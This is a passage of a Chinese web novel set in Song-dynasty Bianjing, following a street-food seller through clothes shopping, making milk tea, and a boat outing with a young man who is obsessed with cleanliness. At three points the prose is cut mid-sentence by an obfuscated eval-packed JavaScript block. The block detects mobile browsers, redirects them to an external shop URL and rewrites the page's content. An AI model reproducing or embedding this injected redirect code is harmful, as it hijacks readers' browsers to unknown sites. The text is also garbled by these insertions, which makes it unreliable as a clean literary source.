其实起初因为资金有限，正经售卖要是摊面上只有孤零零的两三只鸡摆着可不太像样，而且一整只鸡售卖价格也高，便想着分开不同部位售卖，分门别类地摆放着食客看着也会显得品类丰富一点，小份的价格也更容易让人接受。 也有试水的缘故。 裴歆乐美滋滋的，"真的吗！" "那可真是我的荣幸！" 说着眼睛都亮了两度，带着被特殊对待的小小得意。 得意过后，又似乎感觉有点可惜，"不过，姜姐姐，你不打算售卖的吗？" "我觉得，一整只炸鸡那样的也可好吃了！" 接着又加重了语气，"不对，一整只的更好吃！" "怎么说呢，虽然我不懂做法，看样子可能像现在这样的分部位售卖的和一整只的做法好像一样，但是，总感觉一整只的吃着就是更有滋味！更过瘾！" 裴歆乐回忆其中着滋味不由自主咽了咽口水。 姜稚鱼看着裴歆乐生动的样子，莞尔一笑，"是嘛？" 她肯定点头，"多谢提议，我会考虑的。" 事实上，随着生意稳定，本钱渐厚，她也在盘算着增加品类。 裴歆乐此次来自然也是要解馋的，买了一些金丝柳，酥皮鸡腿还要了两份酸梅饮子。 待付钱时姜稚鱼起先说着裴歆乐又是帮了自己两人又是投缘的这次就不收啦。 裴歆乐却小脸一板，作出严肃状，且飞快地将银钱投进小钱匣里，随即转身摆手动作一气呵成， 还伴随一句娇憨的威胁： "姐姐再如此我可不敢再来啦！" 姜稚鱼望着她远去的背影，摇头失笑。 自己在这儿，也算是结识了一位率真可爱的姑娘。 姜稚鱼如此想，心情颇好。 ＊ 夕阳西下，晚风拂去了白日的燥热。 收摊回家的路上，目光略过街边林立的各色店铺，一家成衣店吸引了姜稚鱼的目光。 她不由在店门前驻足，多看了两眼。 成衣店的伙计是个机灵的，一见着人朝店内张望，便立刻满脸堆笑迎上来，热情招呼着， "小娘子，可是要选衣裳？可进店仔细看看呀，随意瞧瞧，不买也不打紧的！" 姜稚鱼步入店铺，店内四壁立着高高的货架，分门别类的陈列着各色布料与成衣，男女款式分区明确，都是当下汴京时兴的款式。 侧面墙上还钳着一长条的黄铜镜，打磨得十分光亮，能清晰地映出人影。 小伙儿引着她来到陈列着女款服饰的地儿，还伴随着口齿伶俐的介绍， "小娘子，想选个什么款式的呢？" "别的不说，汴京时下最流行的款式咱们‘锦绣坊’这儿可都有！" 到这里来这么久了，姜稚鱼才想起了自己整日忙于生计好似还未为自己买过服饰。 紧接着考虑到平日里需得出摊干活的，目光下意识朝着颜色较深的色系看去。 "小娘子眼光好，这些都是我们这儿买得最好的款呢！" 小伙儿察言观色，说着从架子上取下一整套服饰，"您看这套，檀色上襦搭配茶歇褶裙裙，料子结实又耐看！咋们这儿走得可好了。" 主要是耐穿又耐脏。 说着他又取出一套，"还有这套呢，棠梨褐上衫，搭配烟色襦裙，也是实穿又大方的款式！" 姜稚鱼："我再看看。" 她的目光在各色衣物中游移，最终姜稚鱼自己挑选的一套，靛青色的窄袖上衫，下身则是一条丁香褐的间色裙。 小伙儿子见此夸赞，"小娘子可真会选！" "这靛青配丁香褐，既比浅色耐脏，又比那些深色活泼，还能称得人肤色更亮！" 他手脚麻利地取下衣物，"小娘子可要上身试试？" "咱们店里有老师傅，若尺寸有不合适的地方，立马就能给您改，包您合身！" 就在店家为她修改腰间尺寸的间隙，姜稚鱼闲着无事，又在店里随意逛了逛。 她目光漫不经心扫过一排排货架，忽地一抹清雅明亮的色彩吸引了她的视线。 那是一套秋香色的交领上衫，下搭配一条玉白色的百褶长裙，上衣的袖口和衣领处压着简单的回纹绣样，裙摆绣着精致的兰草纹，灯火照耀下流转着极淡的内敛的流光。 姜稚鱼不由自主地走过去，拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092720|195503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起那套衣裙。 浅淡又明亮的颜色，精致的绣工。 好看是好看。 可惜，以她现在每日与油烟作伴的情景，这样浅色系的裙子，怕是穿不到半日就会沾上油渍。 似乎就眼前而言，没什么能穿上这样色儿的襦裙的机会。 这时小伙儿的声音已然响起，"小娘子，您那套衣裙尺寸已经改好了。" "您再来试试？看看是否还有哪里不合意？" 姜稚鱼收回目光，去试穿了那套改好尺寸的靛青丁香褐套裙。 修改过后的尺寸正合适，利落的裁剪也显得人精神。 付了银钱，小伙儿将那套服饰好好地打包好，递与她。 姜稚鱼临了再望一眼那套挂着的襦裙。 缓缓移开目光出门去。 拎着新买的崭新服饰走在路上，姜稚鱼脑子里却不知怎的，不自觉地浮现那套挂着的丁香玉白襦裙的样子。 竟还想象着自己穿着那套襦裙会是什么样呢？ 接着不知不觉就想到自己来这这么久了，算算日子已经有二十来天了？ 都快一个月了！ 按现代的打工人思维，第一个月好不容易有了的工资，都会给自己买一个心心念念的小礼物的，作为奖励，也是新阶段开始的仪式感。 她这每日吧也有了不错的进项。 到如今，自己也算有了那么一点的存款的人了！ 辛苦奔波了这么久了，不得奖赏激励一下自己？ 就当送一件礼物给自己， 也不是不可？ 拎起手中的还热乎的包裹看了看…… 这套顶多只算"工作服"！ 那套在自己脑海中挥之不去的， 才是礼物！ 况且，总会有时间能穿上的……吧…… 姜稚鱼顺利地说服了自己—— 一个转身回了店铺。 刚送走他的小伙儿正在整理货架，听见脚步声抬头，见是去而复返的姑娘，有些惊讶。 "小娘子？可是服饰有什么问题？" 小伙儿没成想，不过几息功夫这姑娘又回来了。 姜稚鱼径直走向那套秋香色的襦裙，指着它，"我再试试这套。" 小伙儿见状眉开眼笑，"当然可以。" "这套啊，是小店刚到的新款，料子作工都没得说！" "我为您取下来。" 姜稚鱼拿着衣物走入小隔间，丝滑轻薄的布料，玉白色的长裙自然垂坠而下，她系好衣带，整理一下裙裾，缓缓走到那面铜镜前。 镜中的女子，身姿曼妙。玉白色的百褶长裙在她腰间一系，显出盈盈一握的腰身，随着她的动作裙摆上的绣着的雅致的兰草纹案若隐若现，在灯光照耀下悄然舒展，流转着静谧光华。 小伙儿在一旁看得真切，由衷赞道："小娘子，您这眼光可当真好极了，这套比刚刚那套更出彩！" 话虽直白，却是事实。 长了眼都看得出，两套的精致漂亮的程度完全没有可比性。 姜稚鱼转了一圈，"价钱如何呢？" 小伙儿笑眯眯，"一千九百九十九文。" 姜稚鱼：“我要了。” 8. 饮子 夜雨淅沥。 晨起时，起先还是微微细雨，顷刻间便听得雨水敲得瓦片噼里啪啦作响，檐前一片白茫水幕，院内情景看不甚真切，连院中那颗老榆树都只见模糊的绿影。 "还好屋顶早已修好了。" 姜稚鱼如是想。 这貌似还是她来这里后，下的第一场雨。 耳边是雨打屋顶的清脆声响，屋外是连绵不绝的豆大雨滴，姜稚鱼也不多纠结，打了个哈欠，伸了个懒腰。旋即又缩回尚有余温的被窝，听着雨声，难得的睡了个回笼觉。 多日忙碌，在这场大雨里，难得的有了休憩日。 待再起时，雨已渐小。 简单梳洗后，姜稚鱼步入灶间。 近日正琢磨着增加品类的事儿。 正值夏日，天气越发炎热，正是食冷饮的季节。 此时的汴京，冰雪凉水已然盛行：樱桃乳酪，砂糖冰雪冷元子，雪泡豆儿水，荔枝膏，金橘团，紫苏饮，凉浆…… 消暑佳品已然进入普通百姓日常生活，是街头巷尾立等可得的平民美食，亦是炎炎夏日百姓的心头好。 是以，夏日卖冷饮再好不过。 正巧近日有了想法，姜稚鱼便是趁着今日得空想着做一做在现代广受欢迎的饮品——奶茶。 食材已然采买好。 因着此时没有木薯，是以姜稚鱼选择使用糯米粉，加水搓揉成光滑柔软的面团，再搓成一颗颗浑圆小巧的小球，煮熟，以其代替Q弹软糯的珍珠丸子。 慢慢炒香茶叶，茶香被激发出来，倒入清水煎煮。茶汤滚沸，加入乳酪，长柄木勺搅拌酪浆与茶汤至完全融合，温润奶香与茶香混合的气息随着温热散发。 加入饴糖，一小撮盐以及香料粉末，再稍煮片刻，使其充分融合。 用细密纱布滤去茶渣，倒入青釉盏中。 基础版奶茶便完成了。 姜稚鱼还在再此基础上加两款不同口味。 宋代流行香药入馔，姜稚鱼在奶茶中加入肉桂粉，少量丁香，再缀以蜜渍梅花瓣点缀，便是一款颇具观赏性的肉桂丁香奶茶。 继而姜稚鱼再添制了一款坚果杏仁奶茶。 炒香后捣碎的杏仁与核桃碎撒入，坚果的焦香又增添了别样的风味。 分别倒入盏中，冰镇。 "好甜蜜的香味儿啊。" 伴随着房门被推开的轻微吱呀声，赵蓉推门而入。 "你在做什么呢？"赵蓉探进头来，鼻翼翕动，好奇询问。 因着吃过姜稚鱼的炸鸡，又继姜稚鱼如约续上"房租"后，到现在赵蓉对姜稚鱼熟稔了一些，今日下着雨她也没能出门。 "奶茶。" 姜稚鱼如是回答。 不过，她准备换一个比较文雅点的名字。 于是她再出口，改称，"茶乳酪。" 姜稚鱼持起一杯点缀红梅花瓣的杯盏，递与赵蓉，"来得正好，可要尝尝？" 赵蓉接过带着冰凉的青釉盏，观赏片刻，"真好看，这是要售卖新品吗？" "自然，新尝试做的饮子。" 姜稚鱼点头，示意她先品尝， "帮忙尝尝？看看味道如何？" 赵蓉捧起杯盏，先轻啜一口，回味片刻，眼睛微亮继而大口畅饮，杯中饮水一下下去一大半。 "好喝！" 她脸上满是惊喜，"是有茶和乳酪吗？茶香和奶味融合得恰到好处，又香又滑，甜而不腻！" 她此外也想不出说什么顶好的词，反正就是"丝滑"，"香甜"，再加肯定多次的"好喝"！ 最终还夸张地道："这比外头卖的那好多饮子都强！" 得到赵蓉肯定的评价，姜稚鱼心下稍安，再递与一杯赵蓉给屋里的苏大娘带去。 而剩下那些镇凉的"茶乳酪"她一并装好放在茶柈里，准备着也送去邻里一些。 俗话说远亲不如近邻，她独自一人来这儿，已然没有亲人，搞好邻里关系总是没错的。 送与邻里时姜稚鱼脸上带着笑意，话语也朴实亲切， "新调了一盏茶乳酪，送与娘子／郎君尝个鲜，看合不合口味。" 年龄大些的便唤称呼大哥婶子。 邻居们对此举大都颇感意外和欣喜，欣然接受，继而道谢。 对于好心馈赠，品鉴结果自然是获得一致夸赞。 一切顺利，却在送与最后一杯时，遭遇那么一点意外。 这户屋内亮着昏黄灯光，姜稚鱼轻叩门扉，那人开门身影清瘦，一身朴素襕衫，看过来时眼神淡淡扫过她，视线在她手中的茶盏上略微一顿，还未待她开口，便冷声吐出两个字， "不必。" 接着啪地一声关上门。 姜稚鱼站在紧闭的门前眨眨眼。 她被拒之门外了。 "姜娘子，你不必理会他。" 旁边一位年轻娘子见状出声，拉过她，"他来这这么久了都不跟我们来往的，也不怎么搭理人。" 她努努嘴，声音压低了些，"也不对，" "近日来就常有一位小姐来找他，那气质……"她啧一声，"一看就是富家千金。" 她似是越说越有兴致，打开了话匣子，看了一眼紧紧关着的门，拉远了些距离，小声开始唠嗑， "也不知怎么搭识上的人家。" "你别说，那人平时里只吃清粥白菜的，寡淡得很，那富家小姐一来，若至饭点时那小姐还在这儿呢，嘿，你猜怎么着，他那屋也能飘出肉香味！" 说着又是啧啧两声， "也是有些手段的……" 话里不外乎是，对着他们这些人爱搭不理，只对着富贵人家殷勤，且还勾得人常往这来。 对此，姜稚鱼笑笑，不好搭话。 "你这怎地背地里说起人家来……" 旁边插入一句声响，两人回过头，是赵蓉。 "嘶……你不会是嫉妒吧？" "是因着别人搭上了富小姐？" "还是‘那谁’对人富小姐的另眼相待？" 前者是酸别人相识富贵人家，后者么…… "你乱说什么？！" "那怎地一天天就偷偷关注着别人。" "你……" 那姑娘一噎。 "……我不跟你说了。" 说着转身羞恼地走了。 ＊ 待下午时，雨已渐渐停了。 嘟嘟两声姜稚鱼房门被敲响，接着是赵蓉的声音响起，"你今日还出摊吗？" 未及回答，她接着又道："听说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092721|195503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近日‘芙蓉渠’的荷花话开得正好，好多人前去赏玩呢，我便想趁今日雨后清爽，也去瞧瞧。" 她询问姜稚鱼，"你要不要一起？" 姜稚鱼一听，并没怎么犹豫便答应了。 本就因着不知什么时候雨停，她并没有备下今日下午出摊的食材。 况且来这已有些时日，整日忙于生计的，难得有机会放松游玩，欣赏一下此地风物景致。 收拾一番，与赵蓉一同出门。 别说，看来这芙蓉渠还是挺有名的赏荷地，虽地处城外，但景致极佳，前来赏玩的人络绎不绝，有布衣平民，也有身着绫罗的富家子弟和文人墨客。三五成群或几人作伴，颇为热闹。 除去一大片一眼望不到头的碧绿荷花池，水池杨柳边还有一片开得正盛的石榴。 枝叶间点点火红石榴花点缀其上，为此地又添了一份明亮色彩。 正当姜稚鱼与赵蓉两人行至繁茂石榴树下时，却听身后一声呼唤， "姜姐姐？" 姜稚鱼闻声回头。 太阳恰在这时又隐隐约约露了头，她立在这片红与绿的光影交界处，这一动，光影便在她身上流转起来，秋香色的上衫随着转身的动作，在枝叶漏下的光斑里倏然明亮，玉白色的百褶裙随之荡开，展露隐隐流光。 微风袭来，拂起发丝以及素色发带在阳光下的光晕里随之飘扬。 "姜姐姐，" 裴歆乐看清她的脸，惊呼，"真的是你！" 他提着裙摆快步上前，仔细打量一圈姜稚鱼， "刚远看着身影就觉着像你，却不敢认。" "没成想当真是你！" "姜姐姐，你今天可真好看！" 说着许是觉得有歧义，她又慌乱补充，"啊，我……我不是说姜姐姐平日不好看。" 她扰扰头急切道，"平日姜姐姐也很好看！今日特别、特别地好看！这身衣裙真衬你！" 姜稚鱼自然明白她的意思，笑道："我当然知道啦！" 她接着问，"歆乐，你也是来这儿赏荷吗？" "是呀！"裴歆乐点头。 "我和阿兄他们……" 她这才想起她身旁还有两人，想着自己与姜姐姐也已熟悉，裴歆乐想起来介绍，拉过身边穿月白襕衫的男子，介绍一番，"姜姐姐，这是我兄长，裴律。" 又指指另一位，"另一位是我兄长好友兼同窗，周继明。" 姜稚鱼顺着她的介绍，随之向裴歆乐身旁望去。 原本嘴角噙着的笑意微微一僵。 嚯，这不是她营业第一天，那位皱着眉头一脸嫌弃，说她小摊不洁的那位公子吗！ 想到此姜稚鱼不由有些愤愤。 这人竟然是，裴歆乐的兄长。 这么可爱活泼又善良率真的女孩儿，怎么会有这么挑剔的，看着就难以相与的兄长！ 裴律也不由想起初见之事，移开视线，面上不由有一丝讪色。 两人之间的气氛隐有尴尬蔓延。 裴歆乐观两人面色，疑惑地看了看姜稚鱼，又看了看自家兄长， "姜姐姐，阿兄，你们……认识？" 姜稚鱼咬牙，"见过。" 裴律偏头，轻咳一声，"不算。" "……" 9. 同乘 “见过。” "不算。" 两道声音几乎同时出声。 接着便是短暂的沉默，带着丝莫名的尴尬。 在这莫名的气氛里，裴歆乐目光在兄长和姜稚鱼身上来回，带着疑惑好奇。 还是周继明适时出声，"那我可是识得姜娘子的！" 他潇洒一收折扇，上前一步些笑道，"姜娘子，你看我可眼熟？" 姜稚鱼这才朝着周继明望去，也笑，"当然。" 常光顾的食客，自然是眼熟的。 "这就是了！"周继明又唰地打开折扇，潇洒扇着，"现今我们既已互通姓名，那我们也算得上朋友了！" 裴歆乐性子活泼，周继明又是个自来熟的，两人当即邀请姜稚鱼赵蓉两人一同游玩，说着"既有缘巧遇，正好一同赏景，人多更热闹。" 半生不熟的几人凑在一起，能迅速活络气氛的自然是玩游戏。 周继明眼珠一转提出玩叶子牌，几人找到一处临水飞檐凉亭，石桌上很快摆开牌局。玩了几轮下来，气氛渐好。 洗牌的间隙，不远处水榭传来一阵喝彩与喧哗，隐约夹杂着零碎的"楚兄高才"、"此句甚妙"之类的赞语，几人不免被声音吸引向声源处望了一眼。 大抵是些文人墨客在即兴作词。 几人循声望了一眼很快便收回目光，唯有裴歆乐似乎兴趣极大，她站起身踮脚张望几眼，转身便朝姜稚鱼裴律几人道着他们先玩，她去瞧瞧热闹，不用管她。 语毕便领着画眉小跑着去了。 牌局继续，几人再接着玩了几轮…… ……几番下来再好玩也难免有些乏味了。 众人便歇了手，倚着栏杆赏景闲谈。周继明是个话匣子，几人天南地北、市井趣闻随意地唠嗑，倒也不会冷场。 说到今日这芙蓉渠景致时，放眼望去，接天莲叶无穷碧，映日荷花别样红，确是令人心旷神怡。 也是这一望，他便眼尖望见这里原是有小船可游湖的。 他"咦"了一声说道："那边好像有船可以租借游湖呢！" 他一拍手，便提议他们何不泛舟游湖呢！ 他兴致勃勃，"深入这藕花深处，岂不比这远观更有意境！" 待几人行至荷塘边，还停着几只小船，一询问船家，却是道一只船只能承载两人。 闻言姜稚鱼刚想着她与赵蓉更熟一点，自然是她俩共承一只。 她稍稍靠近赵蓉，指指自己和赵蓉，"那我俩……" 一只船…… 周继明却与裴律相视一眼， 哪有两个大男人相携泛舟游湖的？ "诶？"他见状立马出声，"正好我们四个人啊，两两同乘岂不刚好？" 他低头便望见一从生长的长短不一的灯心草，眼睛一亮，"不如就抽签决定同船同伴吧，公平又有趣！" 说着，他已然弯腰利落地扒拉几根下来，背过身窸窸窣窣摆弄片刻，转过身时，手里拿着四根草茎，只漏出一小截顶端。 "喏，两长两短，抽中相同长度两人便同行泛舟游湖，如何？" 姜稚鱼可有可无不可，其余两人也没反对的。 她伸出手…… 反正只要不是跟…… 正想着，四人各自抽定，一同摊开掌中抽中的那株草，放一处比较。 对比之下，结果一目了然。 姜稚鱼：哦，自己的是长的。 她视线循着另一株同样长度的草茎缓缓上移，看向摊开的那只手：骨节分明，手指修长干净，再往上是月白色的襕衫袖口，最后，对上了一双稍显复杂情绪的眸子。 四目相对。 看清人的姜稚鱼一噎，还真是怕什么来什么。 这，能换么？ 念头刚起，就听周继明已然相邀赵蓉一同登船了： "找小娘子，看来我们有缘同船，请！" 动作之迅速，仿佛生怕晚上一秒就被抓去与裴律同船似的…… 待到姜稚鱼与裴律登船，船身因两人上船动作晃了晃，水面荡开圈圈涟漪。 船夫水篙一点，小船便轻盈荡开，缓缓驶离岸边，滑入了碧波莲叶间。 小船破开水面，近观荷花，花瓣上的纹理清晰可见，因着刚下过雨的缘故，花瓣上还缀有莹透的水滴，更显生动。 姜稚鱼一开始很有兴致地欣赏着眼前美景。 然而随着木船带着两人渐行渐远，姜稚鱼渐渐地觉着周边越来越安静。 奇怪，刚不是还挺热闹。 姜稚鱼心里嘀咕。 却不知，在船夫和寻常人眼里，像这样年龄相仿，外貌出众的一男一女一同泛舟游湖的，多半是情侣。再不济，也是互有好感或处于暧昧中的人。 船家自然是贴心地往人少的深处去。 "……" 一片寂静。 姜稚鱼起初还专注赏景，时间一长，她渐渐觉着氛围近乎死寂。 她觉得自己总得做点什么好让自己不那么无聊。 顷刻，她想起来什么，在身上摸摸索索窸窸窣窣地掏出了一把……炒香的西瓜子。 姜稚鱼也没管对面的人，自己捏起几颗瓜子，熟练地送到嘴边，悠闲地咔滋咔滋磕着手里瓜子，享受那点咸香滋味。 反正以那人表现出的德性，也该是看不上这市井粗鄙小食的。 然而，却在她不经意抬头时，迎面撞上对方目光一瞬不瞬地盯着她…… 手里的瓜子…… "？" 姜稚鱼看了看手里的瓜子，又看了看对面一路沉默的人， "……" 她试探出声，"……你吃吗？" 对此，裴律沉默一瞬，竟微不可察地矜持点头。 周边太安静，两人又相对无话，显得他太无聊…… 得。 姜稚鱼不计前嫌，大方分了一把瓜子推给对面。 她继续磕着瓜子。 可当她再次抬眼时，却被眼前的景象惊地手里瓜子都掉了。 却见对面那人不知从哪儿处掏出一个白色素髹漆壶，拨开壶塞，先是清洁一遍本就看着干净的双手，擦净。 继而再掏出两方素白帕子，一方手帕用水壶里的清水浸湿。 接着，姜稚鱼便眼睁睁地看见，对面那人竟将那方浸水的手帕触上瓜子……仔细擦洗一遍。 这还没完呢，他用浸了水的巾帕擦洗完后，又紧接着用另一方干燥的的方巾擦一遍，擦去水渍。 最后！才用那双经过清洁，确保洁净的、修长白净的手指，拈起一颗处理过瓜子，指尖微一用力，取出里面完整的瓜仁，放入口中。 接着是下一颗，重复同样的步骤：湿帕擦，干帕拭，剥壳，食用…… "……" 姜稚鱼见识了裴律的一整套吃瓜子的过程，看得目瞪口呆，大为震惊。 这世上竟有人用如此繁复的流程吃瓜子的吗？ 姜稚鱼不由回想起那日周继明为裴律辩解的话，他说，"他不是说你呢，他只是……太爱干净了些。" 合着，那话不是为兄弟辩解的善意谎言，而是大实话！ 这人，他是有洁癖吧！ 也不对，什么叫"太爱干净了些"？这样式儿的也不算只有"一些"吧！ 姜稚鱼观看裴律仔仔细细认认真真擦洗那一颗颗小小的瓜子儿的样子，不由好奇，奇异地主动开口搭话，她清咳一声先是好奇地问， "你怎么这样子吃瓜子儿啊？" 裴律手一顿，抬眸看她一眼，竟出乎意料地仔细道来缘由，"像这样的瓜果，自生长、采摘、晾晒、运输乃至贩售，途中不知经由多少人的手，又接触到什么地方，途中说不定还接触鼠虫，可不脏么？" 姜稚鱼："那你把外壳剥掉不就好了？" 裴律皱眉，"外壳既然不洁，用手接触了外壳，再去接触里面瓜仁，岂不是将不洁之物也沾染在食物之上？" "……" 姜稚鱼这么一听完，仔细琢磨了一下。 竟然，她竟然觉得有那么一点儿道理…… 她磕着瓜子的手一顿。 不过旋即她又继续咔滋咔滋磕得起劲。 姜稚鱼闭眼：不干不净，吃了没病！ 不然呢，像对面那样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092722|195503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一颗颗的擦洗了再吃？ 她闲得慌！ 好奇心驱使下，她问："那你如此爱干净的性子，可是自小就有的习惯？" 裴律："……自有记忆起便如此了。" 语气竟听出一丝无奈。 姜稚鱼想起裴歆乐，她那对小食摊美食来者不拒的样子，不由小声嘀咕："你与你妹妹……可真不太一样。" 裴律："即便是同出一家，身处相近环境，各人性情习惯皆有迥异，这有何奇怪？" 姜稚鱼："……哦"。 她突然就有些想知道，"那你也是有记忆起就不食街边小食摊咯？" 她尤记得初见时，他在她摊位前的嫌弃表情。 裴律稍顿："倒也不是。" 在姜稚鱼疑惑的目光中，他接着开口说道："起初，我也没想过小食摊吃食会不干净的问题……" 只是儿时某次随家人出游，吃了集市上某个小食摊的糖渍果子，回去便上吐下泻，高烧不退，折腾整整三日。整个人都虚脱了。那感觉像是去了半条命，那滋味毕生难忘，以致后来路过小食摊时他多有注意。 "自那以后，我便开始留意那些摊贩，这一留意便发现……"他眉头蹙起，似是只是回忆就让他不适，"许多摊主并不讲究，收了铜钱，便去抓取食物；打喷嚏咳嗽，不知避讳，更甚者……"" 他顿了顿，似是有些难以启齿，"擤涕之后，手也不洗，继续揉面。" 甚至更有让他崩溃情景的，只是面对姑娘家怎么也说不出来。 如此种种。 以致他完全杜绝食用小食摊了。 就算是酒楼也得是那有着严苛的清洁流程的才会去。 姜稚鱼在对面听着他的讲诉，竟有点理解和同情了。 不过随着他的讲诉想象这人亲眼见识到那些情景时会是多么崩溃的样子，又有点想笑怎么回事。 不自觉嘴角稍弯。 "你在笑我？！" 裴律见他讲诉之后姜稚鱼面有笑意，不由恼怒。 "嗳？" 姜稚鱼抬手摸了摸自己的脸，她笑了？这么明显？ "没有没有！"姜稚鱼连忙摆手。 她收敛笑意，正色道："真的！" "咳咳！我是同情……啊不，理解你！" 继而她神色认真了些："都说眼不见为净，很多人是没见到你说的情况，我想……如果跟你一样亲眼见到了也会膈应的，其实也挺正常的……" 裴律听她如此说，观她表情不像嘲笑，脸色好了些。 他问："……那你呢？" 他停下动作望向姜稚鱼，"你呢……你售卖的吃食当真干净吗？" 他说的是那日姜稚鱼气鼓鼓反驳他的话。 "当然了！" 姜稚鱼一听到提及自己的小摊，当即来了精神，"从购买食材到出锅，每一步都尽可能地保证干净卫生，没骗你！" 她一条条细细道来："首先，每天食材都是当天采买新鲜的，买回来后清水反复冲洗干净。" "每天用量也都有数，绝不卖隔夜或者变质的。" "每次用完的案板，刀具都会用热水洗刷干净，碗筷餐具洗完还会用热水煮沸。" "炸鸡用的油，每天过滤，定期更换。所备好的东西，不用的时候都会用干净纱布或者盖子盖好，防尘防蝇。" "收钱和接触食物的手，我都会分开。" "当然最重要的，还有我个人的卫生，"她举起自己的双手，指甲修剪得整齐干净，"你看，我出摊时一定会把指甲剪短洗净，接触食物前我也都会用皂角洗净双手。头发也会收进头巾里，避免掉落……" 她看着裴律，眼神认真："我敢说我做的吃食也不比那有着重重规矩的大酒楼差！" 裴律静静听着，目光从她熠熠生辉的眼睛，移到她干净的手指。 午后的阳光洒在她认真的脸庞上，给她身上渡上一层温暖的光晕。 小船轻轻摇晃，荷香依旧，但船上的空气，似乎没那么凝滞和尴尬了。船桨划过水面的声音规律而轻柔，栽着两人，继续向藕花深处漫溯。 10. 新品 “听说，你之前拒缴‘侵街钱’被赶走了？” 小船悠悠，闲谈间裴律不经意谈及此事。 "什么叫拒缴？！我那是……" "我那不是手里银钱不足，好言好语商量着宽限两天！结果呢！那些人二话不说一上来抢了我的摊具！" "还一下子砸坏了我装着食材的陶盆！好好的肉都糟蹋了！" 说到此事姜稚鱼还越说越气，说到激动处白皙的脸上都泛上红晕。至于裴律如何得知，裴歆乐与他是兄妹，从妹妹口中偶然得知也正常。 裴律剥瓜子的手稍顿，"是么？" "可不是么，"姜稚鱼叹了口气，"你们这的街道执法人员怎地如此粗暴，不像我们那……" "可不会这么粗暴野蛮驱赶摊贩的了。" "你们那？"裴律扑捉到这个用词，顺着便问， "你不是汴京人士？" 姜稚鱼摇头，"不是。"她提及来处时很有些怀念，"我的来处可远了……" 但她没有继续说下去，似乎那是个不便多谈的话题。 两人又有一搭没一搭闲聊几句，时间流逝，姜稚鱼目光随着摇晃的小船落到划动的船桨上。 船夫是个发丝有些许斑白却精神矍铄的老翁，手里的桨打下去，不住地在水面划出纹路，小船在他的掌控下，灵巧地在荷叶间穿行。 水在流动，老翁却仅凭两只桨就能很好地控制小船的方向，服服帖帖，指哪走哪。 姜稚鱼观看一番，觉出趣味，询问船夫她可否上手试试。 "当然可以。"船夫爽快笑着道。 大概罕有游客提出如此要求的，船夫亦饶有心致地示范了一遍要领，便让她上手试试手感。 听着倒是并不复杂。 姜稚鱼手握木桨，深吸一口气，信心满满落下桨。 "啪"地一声。 一桨打下去，水花四溅。 ……精准地、溅了裴律一身。 水珠咕噜噜乱滚落下，迅速浸了月白襕衫，还带着些许浮萍挂在他制地精良的衣衫上，十分醒目。 见此情景，姜稚鱼变了脸色，立马掏出一方干净手帕就上前擦拭，有些过意不去，道着歉：""对不住对不住……" 才知道人有洁癖，转头就溅了人一身水，这人不会以为自己是故意的吧。 虽然，在一般人眼里可能觉着这水并不脏。 但在这位眼里可不一定了。 而且溅了人一身水，湿了衣裳，总归是她失误。 最重要的是，这身衣裳看着可贵！ 姜稚鱼觑着那湿处想：只是湿了而已，可别开口让她赔吧。 "她……大不了她帮他洗干净！" 姜稚鱼默默想。 却听裴律道着："无碍。" 语气紧绷，避开了姜稚鱼要擦拭的动作。 嗳？ 无碍？ 抬眼，却见裴律眉头紧皱，唇也紧紧抿着，自顾自掏出手帕用力擦拭着水渍、嫌弃地拭去粘上的浮萍。 嘴里说着无碍，可全身散发的抗拒，心里不知因这些水渍浮萍沾上身多难受呢。 小船回到岸边。 不久周继明与赵蓉的船也摇晃着返回来了。 周继明一上岸便只见到姜稚鱼一人在岸边，"咦？子瞻呢？" "你问裴律吗？他应该回府了吧。" 姜稚鱼说着将自己不慎将裴律衣物溅湿了的事告知了周继明。 "原来如此！" 周继明听闻一拍大腿，一副我懂的表情，"那他肯定是已经回去了！" 接着又道："我跟你说，以我对他的了解，他遇到这事儿呀就一定会难受得立马打道回府，然后第一件事就是沐浴更衣！" 结果，话落就听身后传来一道冷声，"谁回去了？" 转头，竟是裴律。 他竟然没回去，而是换了整套衣裳又回来了？ 周继明惊讶，"我们都以为你回去了呢！" 裴律竟然没有立刻回去！这不符合他一贯作风啊。 裴律瞥他一眼，"我几时说了我要走了？" 姜稚鱼出声："你刚冷冷丢下一句‘失陪’，就一下子消失了，我们都以为你因为衣物脏了提前回去了呢。" 她说着时，还模仿着裴律对她说话时皱着眉抿着唇，绷着声音的样子和语气，那神气模仿地还挺像。 裴律被她的模仿的模样怔了一下， “我说失陪，不正说明我稍后还会回来吗？” 姜稚鱼："那可不一定，有时失陪不就是委婉告辞的意思！" "尤其配上你当时恨不得原地消失的表情，任谁看都是恕不奉陪了的意思吧……" 